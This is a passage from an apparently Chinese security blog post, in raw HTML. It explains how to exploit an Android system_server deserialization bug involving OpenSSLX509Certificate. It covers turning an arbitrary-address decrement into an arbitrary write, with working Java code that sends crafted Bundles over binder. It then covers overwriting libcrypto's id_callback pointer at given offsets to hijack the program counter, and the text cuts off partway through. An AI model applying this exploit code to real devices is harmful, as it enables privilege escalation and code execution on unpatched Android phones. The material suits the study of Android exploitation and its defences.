padding-left: 8px; display: inline-block; color: rgb(255, 255, 255); box-sizing: border-box; background-color: rgb(249, 110, 87);"><section style="box-sizing: border-box;"><span style="font-size: 20px;">0x02</span></section></section><section class="" style="padding-right: 5px; padding-left: 5px; display: inline-block; color: rgb(255, 255, 255); box-sizing: border-box;"><section style="box-sizing: border-box;"><h1 style="font-size: 18px; line-height: 25.6px;"><section class="" style="padding: 2px; display: inline-block; box-sizing: border-box;"><section class="" style="padding-right: 5px; padding-left: 5px; display: inline-block; box-sizing: border-box;"><span style="font-size: 20px;"><span style="line-height: 25.6px; white-space: pre-wrap;"><span style="line-height: 25.6px; white-space: pre-wrap;">exploit控制PC</span></span></span></section></section></h1></section></section></section></section></section></section><p><br/></p><p><span style="color: rgb(0, 82, 255);"><strong>1. 任意地址值减一</strong></span></p><p><br/></p><p>分析了漏洞崩溃的原因，我们需要继续分析如何构造exploit。详细的参数传递过程可以<span style="text-decoration: underline;">参考[2]</span>,这里我们直接给出结果,mContext为我们控制的传入值：</p><section class="aimeibian" style="line-height: 25.6px; white-space: normal; border: 0px none;"><section class="ImbBgStyle" style="width: 556px; background-color: rgb(204, 204, 203);"><section style="box-sizing: border-box;"><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: left; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: right; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section></section><section class="ImbContentStyle" style="padding: 15px; box-sizing: border-box; line-height: 1.5em;"><p style="line-height: 25.6px;"><em style="line-height: 25.6px;"></em></p><p style="line-height: 25.6px;"><span style="line-height: 25.6px;"></span><em><span style="line-height: 25.6px; white-space: pre-wrap;">R7 = mContext + 0x10</span></em></p></section></section><section style="margin-top: -0.62em; box-sizing: border-box; background-color: rgb(204, 204, 203);"><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: left; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: right; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section></section></section><p><span style="line-height: 1.6;">system_server崩溃时R7寄存器的值为mContext + 0×10，即我们传入的mContext值为0xaaaaaaaa,而R7的值为0xaaaaaaba。继续分析CRYPTO_add_lock函数中崩溃后的相关代码：</span><br/></p><p><br/></p><p><br/></p><p>R0寄存器的值为0xFFFFFFFF(即-1),则有</p><section class="aimeibian" style="line-height: 25.6px; white-space: normal; border: 0px none;"><section class="ImbBgStyle" style="width: 556px; background-color: rgb(204, 204, 203);"><section style="box-sizing: border-box;"><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: left; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: right; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section></section><section class="ImbContentStyle" style="padding: 15px; box-sizing: border-box; line-height: 1.5em;"><p style="line-height: 25.6px;"><em style="line-height: 25.6px;"></em></p><p style="line-height: 25.6px;"><span style="line-height: 25.6px;"></span><em><span style="line-height: 25.6px; white-space: pre-wrap;">R6 = [R7] - 1</span></em></p></section></section><section style="margin-top: -0.62em; box-sizing: border-box; background-color: rgb(204, 204, 203);"><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: left; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: right; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section></section></section><p><span style="line-height: 1.6;">最关键的代码在这里：</span><br/></p><section class="aimeibian" style="line-height: 25.6px; white-space: normal; border: 0px none;"><section class="ImbBgStyle" style="width: 556px; background-color: rgb(204, 204, 203);"><section style="box-sizing: border-box;"><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: left; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: right; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section></section><section class="ImbContentStyle" style="padding: 15px; box-sizing: border-box; line-height: 1.5em;"><p style="line-height: 25.6px;"><em style="line-height: 25.6px;"></em></p><p style="line-height: 25.6px;"><span style="line-height: 25.6px;"></span><em><span style="line-height: 25.6px; white-space: pre-wrap;">STR R6,[R7]</span></em></p></section></section><section style="margin-top: -0.62em; box-sizing: border-box; background-color: rgb(204, 204, 203);"><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: left; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: right; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section></section></section><p><br/></p><p>将R6寄存器的值最后写回R7指向的地址。通过以上分析我们可以看到，该漏洞的核心是可以指定任意内存地址A，将A地址存储的32位整数取出减一，最后将减一后的值再存回地址A，即可以在system_server进程中实现任意内存地址减一。</p><p><br/></p><p><span style="color: rgb(0, 82, 255);"><strong>2.任意地址写</strong></span></p><p><br/></p><p>既然我们能够让任意地址减一，那么我们就可以通过数次减一操作达到任意地址写的目的。例如我们要讲内存中某个地址A的32位整数0xBBBBBBBB变为0xAAAAAAAA，那么理论上只要我们在指定的地址上执行0×11111111次减一操作即可。但是这里有几个问题：</p><section class="aimeibian" style="line-height: 25.6px; white-space: normal; border: 0px none;"><section class="ImbBgStyle" style="width: 556px; background-color: rgb(204, 204, 203);"><section style="box-sizing: border-box;"><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: left; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: right; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section></section><section class="ImbContentStyle" style="padding: 15px; box-sizing: border-box; line-height: 1.5em;"><p style="line-height: 25.6px;"><em style="line-height: 25.6px;"></em></p><p style="line-height: 25.6px;"><span style="line-height: 25.6px;"></span></p><p style="line-height: 25.6px;"><em>1. 减一操作过多影响效率</em></p><p style="line-height: 25.6px;"><em>2. 新值比旧值小，溢出怎么办</em></p><p style="line-height: 25.6px;"><em>3. 该漏洞是否允许重复利用</em></p></section></section><section style="margin-top: -0.62em; box-sizing: border-box; background-color: rgb(204, 204, 203);"><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: left; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: right; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section></section></section><p><br/></p><p>针对问题1，我们可以直接采取降维思路，将原本针对32位整数的减一操作转化为分别针对4个字节的减一操作，即我们只要分别通过减一操作将原值的每个字节转化为指定的值即可。例如:</p><section class="aimeibian" style="line-height: 25.6px; white-space: normal; border: 0px none;"><section class="ImbBgStyle" style="width: 556px; background-color: rgb(204, 204, 203);"><section style="box-sizing: border-box;"><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: left; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: right; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section></section><section class="ImbContentStyle" style="padding: 15px; box-sizing: border-box; line-height: 1.5em;"><p style="line-height: 25.6px;"><em style="line-height: 25.6px;"></em></p><p style="line-height: 25.6px;"><span style="line-height: 25.6px;"></span></p><p style="line-height: 25.6px;"><em>1. 我们首先在内存地址A执行0×11次减一操作，那么地址A的值从0xBBBBBBBB变为0xBBBBBBAA;</em></p><p style="line-height: 25.6px;"><em>2. 在内存地址A+1执行0×11次减一操作，那么地址A的值从0xBBBBBBAA变为0xBBBBAAAA;</em></p><p style="line-height: 25.6px;"><em>3. 在内存地址A+2执行0×11次减一操作，那么地址A的值从0xBBBBAAAA变为0xBBAAAAAA;</em></p><p style="line-height: 25.6px;"><em>4. 最后在内存地址A+3执行0×11次减一操作，那么地址A的值从0xBBAAAAAA变为0xAAAAAAAA;</em></p></section></section><section style="margin-top: -0.62em; box-sizing: border-box; background-color: rgb(204, 204, 203);"><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: left; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: right; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section></section></section><p><br/></p><p>最后我们达到了相同的效果，即内存地址A的值从0xBBBBBBBB变为了0xAAAAAAAA，但是仅仅执行了0×44次减一操作，效率大大提升。</p><p><br/></p><p>针对问题2，如果我们采取分字节减一操作的话，那么就需要从高位借一位，和减法的操作类似。</p><p><br/></p><p>针对问题3，我们需要确定通过漏洞执行一次减一操作后会不会导致崩溃，或是有什么限制条件。我们查看ASN1_item_combine_free函数源码：</p><p><br/></p><p><img data-w="1222" class="" data-type="png" data-ratio="0.31751227495908346" src="https://wechat2rss.xlab.app/img-proxy/?k=0c761074&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD2sJ01SjZ3vTUMUXY5DCAe3vAQZIaGtbMM7Csf0oQLlIQoE9hCEFwYpk06FLq08Ys7rUeHLNjiaYEg%2F0%3Fwx_fmt%3Dpng"/></p><p><br/></p><p>这里我们可以看到如果asn1_do_lock函数返回值大于0,那么函数就返回了，不会进入后面其他的code path。但是如果返回负数或0，那么后面则会进入asn1_cb或asn1_enc_free函数的路径，程序行为就不可控了。从CRYPTO_add_lock函数的反汇编代码可以看出R6寄存器的值就是返回值，即指定地址每次减一后的值即是每次函数返回值。</p><p><br/></p><p><img data-w="954" class="" data-type="png" data-ratio="0.3333333333333333" src="https://wechat2rss.xlab.app/img-proxy/?k=a70ba973&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD2sJ01SjZ3vTUMUXY5DCAe3haGgu2DFU17T4ogO2WJadzoKD3ichDGI9VbQCQIzwgGWOlhDsBt7Wag%2F0%3Fwx_fmt%3Dpng"/></p><p><br/></p><p>因此，要能够多次稳定重复利用减一操作，需要有两个限制条件：</p><section class="aimeibian" style="line-height: 25.6px; white-space: normal; border: 0px none;"><section class="ImbBgStyle" style="width: 556px; background-color: rgb(204, 204, 203);"><section style="box-sizing: border-box;"><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: left; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: right; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section></section><section class="ImbContentStyle" style="padding: 15px; box-sizing: border-box; line-height: 1.5em;"><p style="line-height: 25.6px;"><em style="line-height: 25.6px;"></em></p><p style="line-height: 25.6px;"><span style="line-height: 25.6px;"></span></p><p style="line-height: 25.6px;"><em>1. 减一操作后的值不能为0</em></p><p style="line-height: 25.6px;"><em>2. 减一操作后的值不能为负数，即减一操作后的数必须在[1,0x7fffffff]范围内。</em></p></section></section><section style="margin-top: -0.62em; box-sizing: border-box; background-color: rgb(204, 204, 203);"><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: left; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: right; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section></section></section><p><br/></p><p>在每次进行减一操作的过程中都必须满足这两个条件，不然就会导致进入asn1_cb或asn1_enc_free函数，调试结果发现这条路径一般就是崩溃：</p><p><br/></p><p><img data-w="2048" class="" data-type="png" data-ratio="0.3046875" src="https://wechat2rss.xlab.app/img-proxy/?k=8897ccd1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD2sJ01SjZ3vTUMUXY5DCAe34WlaqT6bYtxK3BARGYn2osic8iczYucJOmlumEPMticw2a5YiaISvRgA2w%2F0%3Fwx_fmt%3Dpng"/></p><p><br/></p><p>3825原始的论文[1]中只介绍了重复减一操作的利用方法，并未介绍另一条free的路径是否能利用，我们暂时也未深入。因此我们要实现任意地址写必须满足以上两个条件，代码如下：</p><section class="aimeibian" style="line-height: 25.6px; white-space: normal; border: 0px none;"><section class="ImbBgStyle" style="width: 556px; background-color: rgb(204, 204, 203);"><section style="box-sizing: border-box;"><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: left; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: right; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section></section><section class="ImbContentStyle" style="padding: 15px; box-sizing: border-box; line-height: 1.5em;"><p style="line-height: 25.6px;"><em style="line-height: 25.6px;"></em></p><p style="line-height: 25.6px;"><span style="line-height: 25.6px;"></span></p><p style="line-height: 25.6px;"><em>private void writeWhatWhere(Context ctx, long address, long originalValue, long newValue) {</em></p><p style="line-height: 25.6px;"><em>    Class conscryptX509 = Class.forName(&#34;com.android.org.conscrypt.OpenSSLX509Certificate&#34;);</em></p><p style="line-height: 25.6px;"><em>    ObjectStreamClass clDesc = ObjectStreamClass.lookup(conscryptX509);</em></p><p style="line-height: 25.6px;"><br/></p><p style="line-height: 25.6px;"><em>    Field targetUID = ZpenSSLX509Certificate.class.getDeclaredField(&#34;serialVersionUID&#34;);</em></p><p style="line-height: 25.6px;"><em>    targetUID.setAccessible(true);</em></p><p style="line-height: 25.6px;"><em>    targetUID.set(null,clDesc.getSerialVersionUID());</em></p><p style="line-height: 25.6px;"><br/></p><p style="line-height: 25.6px;"><em>    int numOfAllocations = 10;</em></p><p style="line-height: 25.6px;"><em>    long[] originalBytes = new long[numOfAllocations];</em></p><p style="line-height: 25.6px;"><em>    long[] newBytes = new long[numOfAllocations];</em></p><p style="line-height: 25.6px;"><em>    long[] diffBytes = new long[numOfAllocations];</em></p><p style="line-height: 25.6px;"><br/></p><p style="line-height: 25.6px;"><em>    originalBytes[0] = originalValue &amp; 0x000000ff;</em></p><p style="line-height: 25.6px;"><em>    originalBytes[1] = (originalValue &amp; 0x0000ff00) &gt;&gt; 8;</em></p><p style="line-height: 25.6px;"><em>    originalBytes[2] = (originalValue &amp; 0x00ff0000) &gt;&gt; 16;</em></p><p style="line-height: 25.6px;"><em>    originalBytes[3] = (originalValue &amp; 0xff000000) &gt;&gt; 24;</em></p><p style="line-height: 25.6px;"><br/></p><p style="line-height: 25.6px;"><em>    newBytes[0] = newValue &amp; 0x000000ff;</em></p><p style="line-height: 25.6px;"><em>    newBytes[1] =  (newValue &amp; 0x0000ff00) &gt;&gt; 8;</em></p><p style="line-height: 25.6px;"><em>    newBytes[2] = (newValue  &amp; 0x00ff0000) &gt;&gt; 16;</em></p><p style="line-height: 25.6px;"><em>    newBytes[3] = (newValue  &amp; 0xff000000) &gt;&gt; 24;</em></p><p style="line-height: 25.6px;"><br/></p><p style="line-height: 25.6px;"><em>    for (int i=3; i&gt;=0; i--) {</em></p><p style="line-height: 25.6px;"><em>        diffBytes[i] = (originalBytes[i] - newBytes[i]) &amp; 0xff;</em></p><p style="line-height: 25.6px;"><em>        if (originalBytes[i] &lt; newBytes[i]) {</em></p><p style="line-height: 25.6px;"><em>            diffBytes[i+1]--;</em></p><p style="line-height: 25.6px;"><em>        }</em></p><p style="line-height: 25.6px;"><em>    }</em></p><p style="line-height: 25.6px;"><br/></p><p style="line-height: 25.6px;"><em>    List&lt;Bundle&gt; bundles = new ArrayList&lt;&gt;();</em></p><p style="line-height: 25.6px;"><br/></p><p style="line-height: 25.6px;"><em>    for(int i=0; i&lt;4; i++) {</em></p><p style="line-height: 25.6px;"><em>        bundles.add(new Bundle());</em></p><p style="line-height: 25.6px;"><em>    }</em></p><p style="line-height: 25.6px;"><br/></p><p style="line-height: 25.6px;"><em>    for(int i=3; i&gt;=0; i--) {</em></p><p style="line-height: 25.6px;"><em>        long addr = address - 0x10  + i;</em></p><p style="line-height: 25.6px;"><em>        ZpenSSLX509Certificate cert = new ZpenSSLX509Certificate(addr);</em></p><p style="line-height: 25.6px;"><br/></p><p style="line-height: 25.6px;"><em>        for (int j=0; j&lt;diffBytes[i]; j++) {</em></p><p style="line-height: 25.6px;"><em>            bundles.get(i).putSerializable(&#34;eatthis&#34; + i +&#34;_&#34;+ j,  cert);</em></p><p style="line-height: 25.6px;"><em>        }</em></p><p style="line-height: 25.6px;"><em>    }</em></p><p style="line-height: 25.6px;"><br/></p><p style="line-height: 25.6px;"><em>    for (int i=3; i&gt;=0; i--) {</em></p><p style="line-height: 25.6px;"><em>        if (diffBytes[i] &gt; 0) {</em></p><p style="line-height: 25.6px;"><em>            sendBundleToSystemServer(ctx, bundles.get(i), true);</em></p><p style="line-height: 25.6px;"><em>        }</em></p><p style="line-height: 25.6px;"><em>    }</em></p><p style="line-height: 25.6px;"><em>}</em></p></section></section><section style="margin-top: -0.62em; box-sizing: border-box; background-color: rgb(204, 204, 203);"><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: left; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: right; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section></section></section><p><br/></p><p>算法并不复杂，大家可自行阅读。</p><p><br/></p><p><span style="color: rgb(0, 82, 255);"><strong>3. 控制PC</strong></span></p><p><br/></p><p><strong>1) 覆盖回调函数地址</strong></p><p><br/></p><p>我们通过任意地址减一操作实现了任意地址写，下一步就是控制PC寄存器。要实现控制PC，最简单的方法就是通过任意地址写覆盖GOT表中的函数地址，那么函数调用的时候我们就能劫持PC。但是system_server中的so文件都采用了RELRO(Relocation read only)编译,导致GOT不可写。</p><p><br/></p><p><img data-w="2526" class="" data-type="png" data-ratio="0.053840063341250986" src="https://wechat2rss.xlab.app/img-proxy/?k=88e50240&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD2sJ01SjZ3vTUMUXY5DCAe3jLPswe5icib3wwfpKJh9kXm8uEuRH3IqkYWcs985NrAEPjqrP1vOIISg%2F0%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><span style="text-decoration: underline;">论文[1]</span>中提到的方法是覆盖libcrypto.so中id_callback函数的地址。该函数地址在可写的Data段，因此只要我们覆盖该地址为我们想要的地址，并触发id_callback函数的调用即可劫持PC。函数大致的调用流程为：</p><section class="aimeibian" style="line-height: 25.6px; white-space: normal; border: 0px none;"><section class="ImbBgStyle" style="width: 556px; background-color: rgb(204, 204, 203);"><section style="box-sizing: border-box;"><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: left; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: right; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section></section><section class="ImbContentStyle" style="padding: 15px; box-sizing: border-box; line-height: 1.5em;"><p style="line-height: 25.6px;"><em style="line-height: 25.6px;"></em></p><p style="line-height: 25.6px;"><span style="line-height: 25.6px;"></span><em><span style="line-height: 25.6px; white-space: pre-wrap;">throwExceptionIfNecessary---&gt;CRYPTO_THREADID_current---&gt;id_callback</span></em></p></section></section><section style="margin-top: -0.62em; box-sizing: border-box; background-color: rgb(204, 204, 203);"><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: left; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section></section></section><p>要想覆盖id_callback函数的地址，我们需要知道两个值：</p><section class="aimeibian" style="line-height: 25.6px; white-space: normal; border: 0px none;"><section class="ImbBgStyle" style="width: 556px; background-color: rgb(204, 204, 203);"><section style="box-sizing: border-box;"><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: left; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: right; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section></section><section class="ImbContentStyle" style="padding: 15px; box-sizing: border-box; line-height: 1.5em;"><p style="line-height: 25.6px;"><em style="line-height: 25.6px;"></em></p><p style="line-height: 25.6px;"><span style="line-height: 25.6px;"></span></p><p style="line-height: 25.6px;"><em>1. 存放id_callback函数地址的地址值</em></p><p style="line-height: 25.6px;"><em>2. 原来id_callback函数的地址</em></p></section></section><section style="margin-top: -0.62em; box-sizing: border-box; background-color: rgb(204, 204, 203);"><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: left; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: right; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section></section></section><p><br/></p><p>通过IDA反汇编CRYPTO_THREADID_current我们可以轻易找到存放id_callback函数地址的地址值：</p><p><br/></p><p><img data-w="1822" class="" data-type="png" data-ratio="0.4818880351262349" src="https://wechat2rss.xlab.app/img-proxy/?k=618794c6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD2sJ01SjZ3vTUMUXY5DCAe358AFwBJv4bo8OTszmFicgOFR1F62bXqesa6iaoPcswfhRW5PGf2HXg6w%2F0%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><img data-type="png" class="" data-ratio="0.3826086956521739" data-w="1380" src="https://wechat2rss.xlab.app/img-proxy/?k=120c7cb4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD2sJ01SjZ3vTUMUXY5DCAe3F7tcHUwxO5X21AykQsfNhZ8Mtq66IzF3a1BqxbleT4D643XCRgp1ng%2F0%3Fwx_fmt%3Dpng"/></p><p><br/></p><p>我们可以通过libcrypto.so加载的基址及偏移量计算存放id_callback函数地址的地址值：</p><section class="aimeibian" style="line-height: 25.6px; white-space: normal; border: 0px none;"><section class="ImbBgStyle" style="width: 556px; background-color: rgb(204, 204, 203);"><section style="box-sizing: border-box;"><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: left; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: right; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section></section><section class="ImbContentStyle" style="padding: 15px; box-sizing: border-box; line-height: 1.5em;"><p style="line-height: 25.6px;"><em style="line-height: 25.6px;"></em></p><p style="line-height: 25.6px;"><span style="line-height: 25.6px;"></span><em><span style="line-height: 25.6px; white-space: pre-wrap;">id_callback_address = libcrypto_Address + 0x101c30;</span></em></p></section></section><section style="margin-top: -0.62em; box-sizing: border-box; background-color: rgb(204, 204, 203);"><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: left; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: right; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section></section></section><p><br/></p><p>id_callback函数的地址则指向了libjavacrypto.so中的指令：</p><p><br/></p><p><img data-w="1754" class="" data-type="png" data-ratio="0.09920182440136831" src="https://wechat2rss.xlab.app/img-proxy/?k=b111314c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD2sJ01SjZ3vTUMUXY5DCAe3URK4uhuW7Key8V7OdvkdrWiaJibw1aHGXhHiapmxXsOC8ViaN5XND7C5Vw%2F0%3Fwx_fmt%3Dpng"/></p><p><br/></p><p>我们同样可以通过libjavacrypto.so基址及偏移量计算出原id_callback函数的地址：</p><section class="aimeibian" style="line-height: 25.6px; white-space: normal; border: 0px none;"><section class="ImbBgStyle" style="width: 556px; background-color: rgb(204, 204, 203);"><section style="box-sizing: border-box;"><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: left; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: right; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section></section><section class="ImbContentStyle" style="padding: 15px; box-sizing: border-box; line-height: 1.5em;"><p style="line-height: 25.6px;"><em style="line-height: 25.6px;"></em></p><p style="line-height: 25.6px;"><span style="line-height: 25.6px;"></span><em><span style="line-height: 25.6px; white-space: pre-wrap;">id_callback_origin_value = libjavacrypto_Address + 0x8128 + 1;</span></em></p></section></section><section style="margin-top: -0.62em; box-sizing: border-box; background-color: rgb(204, 204, 203);"><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: left; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: right; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section></section></section><p><br/></p><p>由于Android设计上的缺陷，这些so文件加载基址都是可以通过获取自身进程的内存地址获得，从而绕过ASLR，具体方法可参考7911的Poc。获取到这两个值以后还不能直接调用writeWhatWhere函数来覆盖，这里还需要有一些特殊处理。由于libjavacrypto.so加载的基址在模拟器中一般在高地址，例如0xAE36E000，即原id_callback函数的地址值是个负数，由之前的分析可知，如果是负数的话会crash。这里我们曲线救国，首先覆盖高字节0xAE字节为[0x1,0x7F]范围内的数，那么在覆盖低字节的时候就是正数了，可避免crash，主要代码如下：</p><p><br/></p><section class="aimeibian" style="line-height: 25.6px; white-space: normal; border: 0px none;"><section class="ImbBgStyle" style="width: 556px; background-color: rgb(204, 204, 203);"><section style="box-sizing: border-box;"><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: left; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: right; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section></section><section class="ImbContentStyle" style="padding: 15px; box-sizing: border-box; line-height: 1.5em;"><p style="line-height: 25.6px;"><em style="line-height: 25.6px;"></em></p><p style="line-height: 25.6px;"><span style="line-height: 25.6px;"></span></p><p style="line-height: 25.6px;"><em>//首先覆盖高位字节</em></p><p style="line-height: 25.6px;"><em>writeWhatWhere_pos(getBaseContext(), id_callback_address, id_callback_origin_value, G1_addr, 3);</em></p><p style="line-height: 25.6px;"><em>forceGCinSystemServer(getBaseContext());</em></p><p style="line-height: 25.6px;"><br/></p><p style="line-height: 25.6px;"><em>//再覆盖其他3个字节</em></p><p style="line-height: 25.6px;"><em>writeWhatWhere_pos(getBaseContext(), id_callback_address, id_callback_origin_value, G1_addr,0);</em></p><p style="line-height: 25.6px;"><em>writeWhatWhere_pos(getBaseContext(), id_callback_address, id_callback_origin_value, G1_addr,1);</em></p><p style="line-height: 25.6px;"><em>writeWhatWhere_pos(getBaseContext(), id_callback_address, id_callback_origin_value, G1_addr,2);</em></p><p style="line-height: 25.6px;"><em>forceGCinSystemServer(getBaseContext());</em></p></section></section><section style="margin-top: -0.62em; box-sizing: border-box; background-color: rgb(204, 204, 203);"><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: left; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: right; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section></section></section><p><br/></p><p>这里的G1_addr是我们构造ROP的第一个gadget地址，即劫持PC到我们控制的流程。这里还有一个重要问题，就是G1_addr值的高字节只能在[0x1,0x7F]范围内，导致我们寻找第一个gadget的时候只能在[0x1,0x7FFFFFFF]地址空间内寻找，比较受限。</p><p><br/></p><p><strong>2) 触发id_callback执行</strong></p><p><br/></p><p>主动触发id_callback的执行也需要我们构造伪造的数据到system_server中，调用栈大致如下：</p><section class="aimeibian" style="line-height: 25.6px; white-space: normal; border: 0px none;"><section class="ImbBgStyle" style="width: 556px; background-color: rgb(204, 204, 203);"><section style="box-sizing: border-box;"><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: left; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: right; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section></section><section class="ImbContentStyle" style="padding: 15px; box-sizing: border-box; line-height: 1.5em;"><p style="line-height: 25.6px;"><em style="line-height: 25.6px;"></em></p><p style="line-height: 25.6px;"><span style="line-height: 25.6px;"></span><em><span style="line-height: 25.6px; white-space: pre-wrap;">OpenSSLECPrivateKey.reardObject--&gt;NativeCrypto.d2i_PKCS8_PRIV_KEY_INFO--&gt;throwExceptionIfNecessary--&gt;CRYPTO_THREADID_current--&gt;id_callback</span></em></p></section></section><section style="margin-top: -0.62em; box-sizing: border-box; background-color: rgb(204, 204, 203);"><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: left; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: right; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section></section></section><p><br/></p><p>我们需要将修改过数据的OpenSSLECPrivateKey对象通过binder传给system_server，由于OpenSSLECPrivateKey并未导出，只有通过反射获取：</p><p><br/></p><section class="aimeibian" style="line-height: 25.6px; white-space: normal; border: 0px none;"><section class="ImbBgStyle" style="width: 556px; background-color: rgb(204, 204, 203);"><section style="box-sizing: border-box;"><section data-bgless="spin" 